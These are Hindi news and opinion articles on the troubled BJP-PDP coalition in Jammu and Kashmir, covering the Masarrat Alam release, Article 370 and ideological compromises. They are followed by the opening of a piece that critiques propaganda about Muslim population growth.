भारतीय संविधान में जम्मू कश्मीर की विशेष स्थिति होने के कारण राज्य के लोगों को भारतीय नागरिकता के साथ स्थायी निवास प्रमाण पत्र भी दिया जाता है. ये प्रमाण पत्र सिर्फ उन लोगों को दिया जाता है जिन्हें जम्मू कश्मीर के संविधान का अनुच्छेद छह स्टेट सब्जेक्ट कहता है. स्टेट सब्जेक्ट होना एक तरह से राज्य की नागरिकता का काम करता है. इसके अभाव में ये लोग राज्य में किसी तरह की जमीन-जायदाद नहीं खरीद सकते और न इन्हें सरकारी नौकरी मिल सकती है. भाजपा लंबे समय से इन लोगों को स्टेट सब्जेक्ट का दर्जा देने की मांग करती आई है लेकिन गठबंधन सरकार चलाने के लिए बने कॉमन मिनिमम प्रोग्राम से ये वादा भी गायब है.

भाजपा का यह सख्त रवैया रहा है कि कश्मीर विवाद से जुड़ी किसी भी चर्चा में वह राज्य के पृथकतावादियों को शामिल नहीं करेगी. पाकिस्तान के राजदूत ने कश्मीरी पृथकतावादियों को कुछ महीने पहले जब बातचीत के लिए बुलाया तो भाजपा की इसी नीति के तहत मोदी सरकार ने पाकिस्तान की सचिव स्तरीय वार्ता रद्द कर दी थी. भाजपा सरकार मानती है कि पृथकतावादी कश्मीर के प्रतिनिधि नहीं हैं. लेकिन न्यूनतम साझा कार्यक्रम के माध्यम से हुर्रियत समेत उन सभी संगठनों से बातचीत की बात पार्टी ने स्वीकारी है जिनकी प्रदेश में भूमिका है. भले उनकी राजनीतिक विचारधारा जो भी हो.

भाजपा के विचारों में बदलाव का सिलसिला यहीं नहीं थमा. पार्टी जिस पूर्व पृथकतावादी नेता सज्जाद लोन को कुछ समय पहले तक देश का गद्दार और पाकिस्तानी एजेंट कहा करती थी उस सज्जाद लोन को सरकार में मंत्री बनवाने के लिए भाजपा ने पीडीपी पर दबाव डाला. पीडीपी लोन को मंत्री नहीं बनाना चाहती थी. भाजपा ने लोन को अपने कोटे से मंत्री बनाया. चुनावों से पहले खुद नरेंद्र मोदी ने लोन से प्रधानमंत्री आवास में मुलाकात की थी.

ऐसा नहीं है कि समझौता सिर्फ भाजपा ने किया है. पीडीपी की बात करें तो उसके लिए विचारधारा को कुछ समय तक ठंडे बस्ते में डालने का सबसे बड़ा प्रमाण उसका भाजपा से गठबंधन करना ही है. पीडीपी जिस भाजपा को सांप्रदायिक मानती रही है उसके साथ उसने सरकार बना ली. एक ऐसी पार्टी जिसके बारे में पीडीपी को पता है कि उसे अल्पसंख्यक संदेह की नजर से देखते हैं, उससे दूरी बरतते हैं, उसकी छवि मुस्लिम विरोधी पार्टी की है, वो पार्टी जम्मू कश्मीर के किसी तरह के विशेषाधिकार के खिलाफ है, जो धारा 370 को खत्म करना चाहती है. बावजूद इसके पीडीपी ने भाजपा से गठबंधन किया.

इस समझौते के साथ ही जो बड़ा समझौता पीडीपी ने किया वो है आफ्स्पा को लेकर. पीडीपी हमेशा से आफ्स्पा के विरोध में रही है और इसे हटाने की मांग करती रही है. पार्टी ने अपने घोषणापत्र में वादा किया था कि अगर वो सत्ता में आई तो आफ्स्पा को हटाया जाएगा. लेकिन दोनों दलों के बीच बने कॉमन मिनिमम प्रोग्राम ने इस मुद्दे को भी मिनिमाइज कर दिया.

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‘पीडीपी लाभ उठा रही है, भाजपा पत्तल उठा रही है’

भाजपा को जम्मू कश्मीर में सरकार बनानी ही नहीं चाहिए थी. मैं इसे सत्ता के लिए समझौता करने के रूप में देखता हूं. भाजपा ने सत्ता के लिए अपने सिद्धांत से समझौता किया है. व्यवहारिकता और अवसरवादिता में फर्क होता है. जहां व्यवहारिकता सिद्धांत के विपरीत हो वो अवसरवाद में बदल जाती है. व्यवहारिकता सिद्दांतों के लिए पोषक होनी चाहिए न कि विनाशक. हमें दिख रहा है कि कैसे जम्मू कश्मीर में पीडीपी अवसर का लाभ उठा रही है और भाजपा वहां पत्तल उठा रही है. अब आप डैमेज कंट्रोल करते रहिए. भाजपा को पता होना चाहिए कि उसका जो कैडर है वो व्यवहारवाद पर तो बना ही नहीं. वो तो भावनात्मक राष्ट्रवाद और निस्वार्थ मनोभाव की परिणति है. उसके काडर को सत्ता राजनीति की ऐसी अवसरवादी चालें हजम नहीं होतीं. मुझे लगता है आगे स्थिति और खराब होगी. आगे ये मांग जरूर उठेगी की पार्टी सरकार से समर्थन वापस ले. समय गुजरने के साथ भाजपा का सरकार में बने रहना देश के लिए घाटे का सौदा साबित होगा. पार्टी और नेताओं की बात छोड़िए. इनको सरकार बनानी ही नहीं चाहिए थी. भाजपा दिल्ली में इससे बेहतर स्थिति में थी लेकिन उसने दिल्ली में सरकार बनाने में इतना समय क्यों लगाया था. अब दिल्ली से तो ज्यादा संवेदनशील मामला कश्मीर का है. तो फिर उसे इतनी जल्दी क्या पड़ी थी सरकार बनाने की. सरकार बनाना स्वंय में कोई लक्ष्य तो है नहीं. सरकार बनाना साधन होता है खासकर भाजपा सरीखी पार्टी के लिए. भाजपा कश्मीर में सिद्धांतचित हुई है.

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सरकार बनने के अगले दिन मीडिया से बातचीत में भाजपा के वरिष्ठ नेता और प्रदेश के उप मुख्यमंत्री निर्मल सिंह ने कहा, ‘हमने कश्मीर में असंभव को संभव बना दिया है. हम चाहते हैं कि प्रदेश में तरक्की हो. हमारा उद्देश्य है कि जम्मू और कश्मीर का जो धार्मिक विभाजन है वो खत्म हो. यही हमारे न्यूनतम साझा कार्यक्रम की आत्मा है. जम्मू कश्मीर की जनता सुशासन चाहती है. वो चाहती है कि सरकार काम करे. वो पारदर्शी हो, भ्रष्टाचार मुक्त हो. मुफ्ती मोहम्मद सईद को असंभव को संभव बनाने का श्रेय दिया जाना चाहिए.’

भाजपा नेताओं ने इस गठबंधन सरकार को ऐतिहासिक बताया तो पीडीपी प्रवक्ता नईम अख्तर का भी बयान आ गया. उन्होंने गठबंधन सरकार को एक नई सकारात्मक राजनीति की शुरुआत बताया. बकौल नईम, जम्मू कश्मीर ही नहीं बल्कि इसने पूरे देश के लिए एक नया मानक स्थापित किया है. लोकतंत्र को जम्मू कश्मीर में नया जीवन मिला है.

ये सही है कि पीडीपी और भाजपा का मिलना तेल और पानी के मिलन जैसा है. ये आपस में घुल मिल नहीं सकते. लेकिन फिर भी यह माना जा रहा है कि दोनों पार्टियां, जो इतनी मुश्किलों के बाद साथ आई हैं वो इस ऐतिहासिक संबंध को बनाए रखने के लिए कोई कोर कसर बाकी नहीं रखेंगी. तो फिर क्या कारण है कि महज एक महीने के भीतर ही मामला तलाक के पास पहुंचता दिखाई दे रहा है.

पार्टी नेताओं से बातचीत में संकेत मिल जाता है कि दोनों दलों ने भले एक-दूसरे के साथ गठबंधन कर सरकार बना ली है लेकिन दोनों को इस बात का एहसास है कि दोनों दलों का वोटर दूसरी पार्टी का घोर विरोधी है. गठबंधन के कारण पार्टी को अपने कार्यकर्ताओं और समर्थकों की नाराजगी का भी डर बना हुआ था. पीडीपी के एक विधायक कहते हैं, ‘मुफ्ती साहब को भी पता है कि कश्मीर की जनता भाजपा के बारे में क्या सोचती है. लेकिन पार्टी ने भाजपा के साथ मिलकर सरकार बनाई. इसका चाहे जो फायदा वो कश्मीर की जनता को बताएं लेकिन एक सवाल तो खड़ा होता ही है कि पार्टी ने भाजपा और मोदी से क्यों हाथ मिलाया.’

जानकार बताते हैं कि समर्थकों के इसी वर्ग को संतुष्ट करने के लिए कि पार्टी ने अपनी विचारधारा से कोई समझौता नहीं किया है मुफ्ती ने अपने तरीके से लोगों को संबोधित करना शुरू किया. कहा जा रहा है कि इसी के तहत शपथ ग्रहण के घंटे-भर के भीतर ही मुफ्ती मोहम्मद सईद ने उस पार के लोगों, आतंकियों और पृथकतावादियों की तारीफ करनेवाला बयान दिया. कश्मीर की राजनीति को समझनेवाले मानते हैं कि अफजल गुरु के मामले में कुछ होना जाना नहीं है लेकिन सिर्फ एक तबके को संतुष्ट करने और भाजपा से गठबंधन करने के कारण उपजी नाराजगी और संदेह को कम करने के लिए पार्टी ने अपने आठ विधायकों से अफजल गुरु संबंधी पत्र लिखवाया.

पीडीपी के सूत्र बताते हैं कि उसी सोच के तहत मसर्रत की रिहाई मुफ्ती सरकार द्वारा किए जाने कि बात प्रचारित की गई. सच यह है कि मसर्रत को पहले ही हाईकोर्ट और सुप्रीम कोर्ट ने बरी करने का आदेश दे रखा था. उसे सभी मामलों में जमानत मिल गई थी. लेकिन सरकारी लापरवाही के कारण वो जेल से बाहर नहीं आ पाया था. इस मसले पर सबसे ज्यादा फजीहत भाजपा समेत केंद्र सरकार की हुई है. जनता के मन में सवाल है कि वो कौन वजह सी थी जिसने राष्ट्रपति शासन के दौरान सरकार को मर्सरत के खिलाफ कार्रवाई करने से रोका था. वहीं यह कैसे हो सकता है कि केंद्र सरकार को इस मामले में कुछ मालूम न हो. सरकार इतनी मासूम तो नहीं. वरिष्ठ राजनीतिक विश्लेषक मीर इमरान कहते हैं, ‘देखिए इन तीनों मामलों के माध्यम से पीडीपी उस जनता की नाराजगी दूर करना चाहती है जो भाजपा से गठबंधन के चलते नाराज है. पार्टी ये बताना चाहती है कि भाजपा से उसका गठबंधन उसकी शर्तों पर हुआ है और उसने कोई समझौता नहीं किया है. ऐसा तो नहीं है कि ये आखिरी बार है और इसके बाद पार्टी कश्मीर में चुनाव नहीं लड़ेगी. मुफ्ती को पता है कि अगले चुनाव में उनका भाजपा के साथ जाना ही नेशनल कॉन्फ्रेंस का चुनावी मुद्दा रहनेवाला है.’ भाजपा की परेशानी और गठबंधन में गांठ का जन्म यहीं से होता है. उसे पता है कि राजनीतिक रूप से जो पीडीपी का फायदा है वही भाजपा का नुकसान है. यानी जो कुछ भी मुफ्ती सईद और उनकी सरकार ने पिछले दिनों में कहा और किया वो सारी चीजें भाजपा की जम्मू केंद्रित राजनीति के लिए नुकसानदेह है. भाजपा का एक धड़ा पीडीपी से गठबंधन के खिलाफ था. ऐसे में पीडीपी के बयानों और मसर्रत की रिहाई ने कोढ़ में खाज का काम किया.

पिछले एक महीने में प्रदेश भाजपा के नेताओं ने ही अपनी पार्टी की गठबंधन सरकार के खिलाफ कई प्रदर्शन किए हैं. भाजपा कार्यकर्ता और समर्थक शुरू में इस गठबंधन को लेकर खासे उत्साहित थे क्योंकि कश्मीर में पहली बार उनकी सरकार बनने जा रही थी, लेकिन अब वही कार्यकर्ता पीडीपी से चिढ़े बैठे हैं. पार्टी के एक कार्यकर्ता नाम न छापने की शर्त पर कहते हैं, ‘कश्मीर में सरकार बनाना हम सभी के लिए गर्व की बात है. श्यामा प्रसाद ने कश्मीर के लिए अपने प्राण न्यौछावर कर दिए. ये  ऐतिहासिक मौका है. मैं अपनी पार्टी के नेताओं और लोगों के बारे में कह सकता हूं कि सभी चाहते हैं कि ये गठबंधन सफल हो. लेकिन पीडीपी अपनी हरकतों से इसकी हत्या करने पर तुली है. वह अपनी राजनीति चमका रही है. एक सीमा से ज्यादा तो समझौता नहीं किया जा सकता. वो नहीं सुधरे तो संबंध तो टूट ही जाएगा.’

पार्टी के एक वरिष्ठ नेता कहते हैं, ‘देखिए अब सब सामने आ चुका है, वो आदमी सभी मामलों में बरी हो चुका था. उसे छोड़ा जाना ही था. पार्टी को भी उससे आपत्ति नहीं थी लेकिन जिस तरह से उसकी रिहाई के बाद मीडिया ने मामले को रंग दिया, तथ्यों की अनदेखी की उससे पार्टी को मजबूरन उसका विरोध करना पड़ा. वो एक सामान्य न्याय व्यवस्था का मामला था. लेकिन मीडिया ने लोगों के मन में भावना डाल दी कि मसर्रत एक खुंखार आंतकी है.’ प्रधानमंत्री को मजबूर होकर इस विषय पर बयान देना पड़ा. नीतीश कुमार जैसे नेता जो शायद ही किसी राष्ट्रीय विषय पर बोलते सुनाई दिए हों, वे भी मसर्रत की रिहाई पर भाजपा को घेरते नजर आए. पूरा विपक्ष राष्ट्रवाद के आसमान पर और राष्ट्रवाद की चैंपियन भाजपा जमीन पर आ गई.

अखनूर से भाजपा विधायक राजीव शर्मा कहते हैं, ‘पीडीपी ने जो कुछ कहा और किया है उस हमारी कोई सहमति नहीं है. आगे से ऐसा होगा तो इसे बर्दाश्त नहीं किया जाएगा. हमें पूरा जनादेश नहीं मिला था. जनता ने हमें विकास के लिए जनादेश दिया है. हमें वही करना है. हमने धारा 370 और अपनी विचारधारा से कोई समझौता नहीं किया है.’ भाजपा चाह कर भी अपनी इस खीज को मिटा नहीं पा रही कि पीडीपी ने गठबंधन के बावजूद अपने वोटर को जो संदेश देना था,वो दे दिया है जबकि भाजपा इस मसले पर बुरी तरह पिछड़ गई है. इसके साथ नैतिक और वैचारिक हार का डर भाजपा नेताओं को लगातार दुस्वप्न दिखा रहा है.

सो, जम्मू कश्मीर में भाजपा और पीडीपी का गठबंधन एक ऐसा संबंध है जिसे दोनों में से कोई भी, किसी भी वक्त तोड़ना चाहे तो उसके पास सैंकड़ों बहाने मौजूद हैं. जम्मू कश्मीर भारत का कोई अन्य प्रदेश नहीं है जहां गठबंधन की सरकार चल रही है. राजनीतिक विश्लेषक मीर इमरान कहते हैं, ‘यहां का गठबंधन एक दीर्घकालीन प्रभाव पैदा कर सकता है. वो चाहे तो जम्मू और कश्मीर, हिंदू और मुस्लिम के बीच की खाई को पाट सकता है. भारत और जम्मू कश्मीर के बीच के अंतर को कम कर सकता है. भाजपा और पीडीपी दोनों को कुछ नरम कर सकता है. लेकिन इसके लिए अल्पकालिक राजनीतिक स्वार्थ नहीं बल्कि व्यापक राजनीतिक दृष्टि की जरूरत है.’ मीर कहते हैं, ‘बाकी अन्य दलों को भी इस गठबंधन को मजबूत बनाने में अपना योगदान देना चाहिए. बाकी इसके तोड़ने के तो हजारों कारण दोनों दलों के पास हैं ही.’

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कुछ दिन पहले ही भारतीय जनता पार्टी के राष्ट्रीय अध्यक्ष अमित शाह को नागपुर स्थित संघ मुख्यालय में तलब किया गया था. सूत्र बताते हैं कि अमित शाह से संघ प्रमुख ने दो टूक शब्दों में साफ कर दिया कि कश्मीर में इस तरह से गठबंधन नहीं चल सकता. भाजपा को सरकार से बाहर निकलने के बारे में सोचना शुरू करना चाहिए. हालांकि संघ के हालिया बयान इससे विपरीत आए हैं. संघ ने भाजपा को सार्वजनिक तौर पर फिलहाल ब्रीथिंग स्पेस दे दिया है. संघ के अनुसार भाजपा-पीडीपी गठबंधन एक प्रयोग है और इसे और समय दिया जाना चाहिए.

संघ प्रमुख से मुलाकात के बाद अमित शाह ने पार्टी के संसदीय बोर्ड के सामने संघ प्रमुख की राय को रखा. अंत में आम राय यह बनी कि अभी सरकार से समर्थन वापस नहीं लिया जाना चाहिए. वक्ती तौर पर पीपुल्स डेमोक्रेटिक पार्टी यानी पीडीपी को सख्त लहजे में चेताकर आगे बढ़ना ठीक रहेगा. इशारों में संदेश दे दिया जाए कि आगे कोई भी गड़बड़ी हुई तो भाजपा गठबंधन से बाहर निकल जाएगी. यह सारी कवायद राज्य सरकार द्वारा अलगाववादी नेता मसर्रत आलम की रिहाई के बाद हुई है. शाह ने पार्टी के निर्णय से जम्मू कश्मीर सरकार में उपमुख्यमंत्री निर्मल सिंह को भी अवगत करा दिया.

पार्टी के एक नेता कहते हैं, ‘प्रदेश भाजपा को सूचित किया जा चुका है कि उसे पीडीपी की हरकतों से रक्षात्मक मुद्रा अख्तियार करने की जरूरत नहीं है. आगे पीडीपी की तरफ से अगर कोई गड़बड़ी हुई तो पार्टी समर्थन वापस लेने में हिचकेगी नहीं.’ भाजपा के शीर्ष नेतृत्व ने अपनी नाराजगी से पीडीपी नेतृत्व को भी अवगत करा दिया है.

दोनों के संबंधों पर ग्रहण लगने की शुरुआत तो नई सरकार के शपथ ग्रहण के साथ ही शुरू हो गई थी. मुख्यमंत्री पद की शपथ लेने के घंटेभर के भीतर ही प्रेस कॉन्फ्रेंस को संबोधित करते हुए मुख्यमंत्री मुफ्ती मोहम्मद सईद ने बयान दिया, ‘जम्मू कश्मीर में शांतिपूर्ण चुनाव के लिए पाकिस्तान, हुर्रियत कॉन्फ्रेंस और आतंकी संगठनों को भी श्रेय दिया जाना चाहिए, क्योंकि उन्होंने चुनाव के लिए अनुकूल वातावरण तैयार किया.’

मुफ्ती ने दावा किया कि उन्होंने इस संबंध में प्रधानमंत्री नरेंद्र मोदी से भी साफ कहा था कि अगर सीमा पार से अलगाववादी नेता हरकत करते तो ऐसा चुनाव नहीं हो पाता. हुर्रियत, पाक और आतंकियों ने ही राज्य में चुनाव के लिए बेहतर माहौल बनाया. अभी मुफ्ती के इस बयान पर जम्मू से लेकर पूरे देश में बवाल मचा ही था कि अगले दिन पीडीपी के सात विधायकों ने केंद्र सरकार से एक पत्र लिखकर मांग की कि संसद पर हमले में फांसी की सजा पा चुके अफजल गुरु के अंतिम अवशेष केंद्र सरकार उसके परिजन को सौंपे. अपने पत्र में इन विधायकों ने कहा कि अफजल को फांसी देकर न्याय का मजाक उड़ाया गया था. इन विधायकों और पूर्व में पीडीपी की भी यह शिकायत रही है कि अफजल गुरु को 28वें नंबर से उठाकर सीधे फांसी पर चढ़ा दिया गया. जबकी अफजल ने राष्ट्रपति के यहां दया याचिका दायर कर रखी थी.

पीडीपी विधायकों की इस मांग पर राजनीतिक बवाल मचना ही था. अभी इस विषय पर कोई दूसरी पार्टी विरोध करती, उससे पहले ही प्रदेश भाजपा के नेताओं और कार्यकर्ताओं ने इसकी आलोचना करते हुए जम्मू में धरना-प्रदर्शन शुरू कर दिया. प्रदेश सरकार में भाजपा के मंत्रियों के साथ ही प्रदेश भाजपा के नेता-कार्यकर्ताओं ने भी पीडीपी विधायकों की इस मांग पर अपनी तीखी

नाराजगी जताई.

भाजपा अपने गठबंधन की सहयोगी के खिलाफ नाराजगी का इजहार कर ही रही थी कि पीडीपी के एक और फैसले ने दोनों के संबंधों में तनाव को नया आयाम दे दिया. खबर आई कि जम्मू कश्मीर की मुफ्ती सईद सरकार ने एक आदेश जारीकर अलगाववादी नेता मसर्रत आलम को रिहा कर दिया. आलम को साल 2010 में कश्मीर घाटी में हुए हिंसक प्रदर्शन और पथरावों का मास्टरमाइंड बताया जाता है. इसके अलावा भी उसके ऊपर कई मामलों में एफआईआर दर्ज है. पिछले साढ़े चार वर्षों से वो जेल में बंद था. मुफ्ती सरकार ने मसर्रत की रिहाई को अपनी उस नीति का हिस्सा बताया जिसके तहत वो ऐसे राजनीतिक बंदियों को जेल से बाहर निकालना चाहती है जिनके ऊपर कोई आपराधिक मामला न दर्ज हो.

मुफ्ती सरकार के मसर्रत को रिहा करने के फैसले के सामने आते ही यह मामला जंगल की आग की तरह फैल गया. जम्मू कश्मीर सरकार में साझीदार भाजपा ने मसर्रत की रिहाई के फैसले पर हैरानी जताई. उसका कहना था कि मुफ्ती सरकार ने उससे इस बारे में कोई सलाह मशविरा तक नहीं किया और न ही उन्हें कोई सूचना दी. देखते-देखते मर्सरत की रिहाई बड़ा मुद्दा बन गई. देश के अलग-अलग हिस्साें में मुफ्ती सरकार के इस निर्णय और खासकर भाजपा की चुप्पी की आलोचना होने लगी. भाजपा विरोधी पार्टियों ने कहना शुरू किया कि वो खुद को राष्ट्रवादी बताती है लेकिन उसी के राज में आतंकवादियों को आंख मूंदकर रिहा किया जा रहा है. लोकसभा और राज्यसभा में भी कांग्रेस समेत अन्य विरोधी दलों ने नरेंद्र मोदी को घेरते हुए इस मसले पर बयान देने की मांग रखी.

जवाब में, मोदी ने लोकसभा में इस विषय पर तल्ख बयान दिया. उनके मुताबिक सरकार बनने के बाद जम्मू कश्मीर में जो गतिविधियां हो रही हैं वे न तो भारत सरकार से सलाह करके हो रही हैं, न ही भारत सरकार की जानकारी में हो रही हैं. सदन में और देश में जो आक्रोश है, मैं भी उस आक्रोश का हिस्सा हूं. यह देश अलगाववाद के मुद्दे पर दलबंदी के आधार पर न पहले कभी सोचता था, न अब सोचता है, न आगे कभी सोचेगा. भाजपा वहां सरकार में हिस्सेदार है, आप उसकी भरपूर आलोचना करें, होनी भी चाहिए लेकिन ऐसा करते

समय देश की एकता के संबंध में यह संदेश नहीं जाना चाहिए कि हमारे भिन्न स्वर हैं. ऐसा संदेश न देश में, न दुनिया में और न कश्मीर में जाना चाहिए. यह पूछा जा रहा है कि मोदी जी चुप क्यों हैं, ऐसा कोई कारण नहीं है कि हमें इस मुद्दे पर चुप रहना पड़े.

चिर परिचित लहजे में मोदी ने संसद भवन में बयान दिया, ‘हम वो लोग हैं जिन्होंने इन आदर्शों के लिए श्यामा प्रसाद मुखर्जी का बलिदान दिया है, इसलिए कृपया हमें देशभक्ति न सिखाएं. सरकार ऐसी किसी भी हरकत को स्वीकार नहीं करती है. देश की अखंडता से कोई समझौता नहीं किया जाएगा. जम्मू कश्मीर सरकार से इस बारे में स्पष्टीकरण मांगा गया है.’

जम्मू कश्मीर में सरकार बनाने के लिए दोनों दल महीनेभर से अधिक समय तक माथापच्ची करते रहे, जहां विचारधारा संबंधी खाइयों की अनदेखीकर, वैचारिक खतरों का जोखिम उठाते हुए दोनों साथ आए थे, वहां ऐसे कौन से कारण हैं कि सरकार गठन के महीने-भर के भीतर ही संबंधों में सीलन आ गई. क्यों महीने-भर में ही इस गठबंधन में गांठ पड़ गई? क्या इस सरकार का गठन ही अप्राकृतिक था? क्या इसके मूल में ही टकराव था, जो अब सामने आ रहा है?

इन सवालों के जवाब ढूंढ़ने के लिए हमें पिछले विधानसभा चुनावों और थोड़ा जम्मू कश्मीर के इतिहास में झांकना होगा. चुनाव परिणाम में जनता ने किसी भी पार्टी को पूर्ण बहुमत नहीं दिया था. पीडीपी 28 सीटों के साथ सबसे बड़ी पार्टी के रूप में उभरी, वहीं भाजपा प्रदेश में इतिहास रचते हुए पहली बार 25 सीटों के साथ दूसरे नंबर पर रही. ऐसा पहली बार हुआ कि भाजपा को जम्मू कश्मीर में इतनी अधिक सीटों पर जीत मिली थी.

2014 लोकसभा चुनाव में ऐतिहासिक बहुमत हासिल करने के बाद से ही भाजपा की नजर जम्मू कश्मीर पर टिकी थी. प्रधानमंत्री बनने के बाद मोदी ने जम्मू कश्मीर की छह यात्राएं की. पार्टी इस बार के विधानसभा चुनाव में बेहद आक्रामक तरीके से शामिल हुई. भाजपा नेता सरेआम कहते सुने जा सकते थे कि अबकी बार कश्मीर में पार्टी एक हिंदू को मुख्यमंत्री बनाएगी. इस चुनावी संघर्ष में प्रधानमंत्री मोदी ने भी प्रचार करने में कोई कोर कसर बाकी नहीं रखी. चुनाव परिणाम ऐसे नहीं आए कि भाजपा अकेले अपने दम पर सरकार बना सके. इन नतीजों ने प्रदेश की राजनीतिक स्थिति को और जटिल बना दिया. किसी भी दल को बहुमत न मिलने के कारण सरकार गठन के लिए गठबंधन ही एकमात्र रास्ता बचा था. पार्टियों की आपस में बातचीत होती रही लेकिन अगले एक महीने-तक कोई रास्ता नहीं निकला. महीनेभर बाद कई दौर की चिंतन बैठकों के बाद भाजपा-पीडीपी ने मिलकर सरकार बनाने का फैसला किया.

उल्लेखनीय है कि दोनों पार्टियां दो विपरीत वैचारिक छोरों पर खड़ी हैं. जम्मू और कश्मीर के बीच यह खाई जनादेश में भी साफ झलकती है. जहां जम्मू क्षेत्र की कुल 37 सीटों में से 25 सीटें भाजपा की झोली में आई हैं वहीं पीडीपी को मिली कुल 28 सीटों में से 25 सीटें उसे कश्मीर घाटी से मिलीं. जाहिर है जम्मू के हिंदू बहुल इलाके में भाजपा है तो घाटी का मुस्लिम बहुल इलाका पीडीपी का गढ़ है. जम्मू कश्मीर की राजनीति का ध्रुवीकरण बताता है कि दोनों हिस्से एक-दूसरे से एकदम अलहदा हैं.

चूंकि कांग्रेस और नेशनल काॅन्फ्रेंस को जनता ने नकार दिया था इसलिए सरकार बनाने का नैतिक बल पीडीपी और भाजपा के पास ही था. तमाम वैचारिक खाइयों के बावजूद पीडीपी के सामने भाजपा के साथ गठबंधन का विकल्प बचा था. भाजपा के पास तो सिवाए पीडीपी के कोई विकल्प ही नहीं था. इस राजनीतिक सच्चाई को समझते हुए इन पाटियों ने गठबंधन पर आगे बढ़ने का फैसला किया. एक-दूसरे के साथ अनगिनत बैठकों में चर्चा करके, कुछ तुम बदलों कुछ हम की राह अपनाते हुए, विवादास्पद विषयों को छोड़ते हुए साथ आने के नतीजे पर पहुंचे. कुछ लोग मजाक में इस बेमेल गठजोड़ को लव जिहाद का नाम देकर चुटकी लेते हुए भी दिखे.

तमाम मजबूरियों और सच्चाइयों को समझते हुए दोनों दल साथ आए. महीने-भर चली उठापठक के बाद यह तय हुआ कि दोनों दल अपनी-अपनी विचारधारा को किनारे रखते हुए एक कॉमन मिनिमम प्रोग्राम (न्यूनतम साझा कार्यक्रम) तय करेंगे. दोनों पार्टियों ने कहा कि वो विवादित मुद्दों से दूर रहते हुए प्रदेश के विकास के लिए काम करेगी.

यह तो सरकार बनाने तक की समस्या थी. असली संकट इसके बाद शुरू होना था. शुरुआत की घटनाओं से उस संकट की एक झलक मिल भी गई है. सरकार बनाने के इस क्रम में भाजपा के लिहाज से कुछ बहुत बड़े बदलाव देखने को मिले हैं. इसे हम भाजपा की पारंपरिक और वैचारिक जमीन में ऐतिहासिक बदलाव के तौर पर भी देख सकते हैं. कश्मीर को लेकर भाजपा का बहुत ही कठोर और अतिवादी स्टैंड रहा है. आजादी के बाद से अब तक वह स्टैंड कमोबेश कायम रहा था लेकिन अब भाजपा ने उस विचार को त्याग दिया है. इसके नतीजे उसके लिए कितने सुखद या दुखद होंगे इसका जवाब अभी समय के गर्भ में है.

जनसंघ के जमाने से ही भाजपा जम्मू कश्मीर को विशेष दर्जा देनेवाली संविधान की धारा 370 के खिलाफ रही है. पार्टी का दावा है कि उसके संस्थापक सदस्य श्यामा प्रसाद मुखर्जी ने कश्मीर को भारत का हिस्सा बनाने के लिए ही बलिदान दिया था. वो कश्मीर को अलग संवैधानिक दर्जा देने के खिलाफ लड़ते हुए वीरगति को प्राप्त हुए. उन दिनों मुखर्जी का नारा था- ‘एक देश में दो निशान,  एक देश में दो प्रधान, एक देश में दो विधान नहीं चलेंगे, नहीं चलेंगें’. कश्मीर को लेकर भाजपा नेता आज भी यही लाइनें दोहराते हैं. श्यामा प्रसाद मुखर्जी की लाइन ही आज तक भाजपा की लाइनें रही है.

श्यामा प्रसाद मुखर्जी की मृत्यु के बाद ‘जहां हुए बलिदान मुखर्जी, वो कश्मीर हमारा है’ का नारा गढ़नेवाली भाजपा कश्मीर में उस पार्टी के साथ सत्ता में साझीदार बनी जो धारा 370 को भारत से कश्मीर को जोड़नेवाले सेतू के रूप में देखती है. उसका साफ कहना है कि अगर इसे हटाया गया तो कश्मीर भी भारत का नहीं रह पाएगा. अब उसी भाजपा ने श्यामा प्रसाद मुखर्जी के जमाने से चली आ रही धारा 370 को खत्म करने की अपनी मांग को विराम दे दिया है.

इसे भी विडंबना ही कहेंगे कि जिस जम्मू कश्मीर से भाजपा दो विधान हटाने की बात करती थी उसी जम्मू कश्मीर में उसके नेता राज्य के संविधान के तहत ‘मैं विधि द्वारा स्थापित राज्य के संविधान के प्रति सच्ची श्रद्धा और निष्ठा रखूंगा’ कहकर शपथ ले रहे थे.

धारा 370 पर पीछे हटने के साथ ही भाजपा पश्चिमी पाकिस्तान से आए विस्थापितों को जम्मू कश्मीर का स्टेट सब्जेक्ट बनाने की अपनी दशकों पुरानी मांग भी छोड़ चुकी है. सन 1947 में पाकिस्तान के पश्चिमी इलाके से जम्मू आकर बसे दो लाख से ज्यादा लोग प्रदेश में पिछले छह दशकों से बिना राजनीतिक और नागरिक अधिकारों के जी काट रहे हैं. अब तक की प्रदेश सरकारों का कहना था कि ये लोग जम्मू-कश्मीर राज्य के सबजेक्ट नहीं हैं इसीलिए इन्हें वे सारे अधिकार नहीं मिल सकते जो यहां के लोगों को मिलते हैं. इनमें सबसे बड़ा अधिकार था राजनीतिक अधिकार. अर्थात राज्य में होने वाले चुनावों में मतदान करने का अधिकार. ये लोग न तो जम्मू कश्मीर विधानसभा के चुनावों में वोट डाल सकते हैं और न ही स्थानीय चुनावों में. यहां तक कि पंचायत के चुनावों में भी इन्हें वोट डालने का अधिकार नहीं है.

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गूगल पर मुस्लिम आबादी विस्फोट के सर्च के नतीजे बाकायदा हिसाब-किताब के साथ कहते हैं कि कैसे 2035 तक भारत में मुसलमानों की आबादी बढ़ कर 92.5 करोड़ हो जाएगी और हिन्दू आबादी सिर्फ 90.2 करोड़ तक ही पहुंच पाएगी. 2040 आते-आते हिन्दू त्योहार मनाए जाने बंद हो जाएंगे, बड़े पैमाने पर धर्मांतरण और गैर मुस्लिमों का नरसंहार होगा और 2050 तक पहुंचते-पहुंचते मुसलमान 189 करोड़ से भी ज्यादा हो जाएंगे और भारत एक मुस्लिम राष्ट्र हो जाएगा.

पिछले कई बरसों से संघ परिवार की तरफ से देश में यह दुष्प्रचार चलाया जा रहा है, कभी लुक-छिपकर, गुमनाम परचों और पैम्फलेटों के जरिए, कभी तरह-तरह के ब्लॉग और सोशल मीडिया की पोस्टों के जरिए, तो कभी खुलकर आधिकारिक रूप से भी. शायद आपको याद होगा कि अक्तूबर 2013 में राष्ट्रीय स्वयंसेवक संघ की कोच्चि में हुई राष्ट्रीय कार्यसमिति की बैठक के दौरान संघ के सरकार्यवाह दत्तात्रेय होसबाले ने हिंदुओं से खुलकर अपील की थी वह अपनी आबादी बढ़ाने के लिए कम से कम तीन बच्चे तो जरूर पैदा करें. हाल में साक्षी महाराज और साध्वी प्राची तो हिंदुओं से चार-चार बच्चे पैदा करने की अपील कर चुके हैं. विश्व हिंदू परिषद के कार्यकारी अध्यक्ष प्रवीण तोगड़िया भी पीछे नहीं रहे. इसी जनवरी में उन्होंने बरेली में विश्व हिंदू परिषद के 50वें स्थापना दिवस समारोह में कहा कि ‘चार बच्चों की बात करने पर इतना 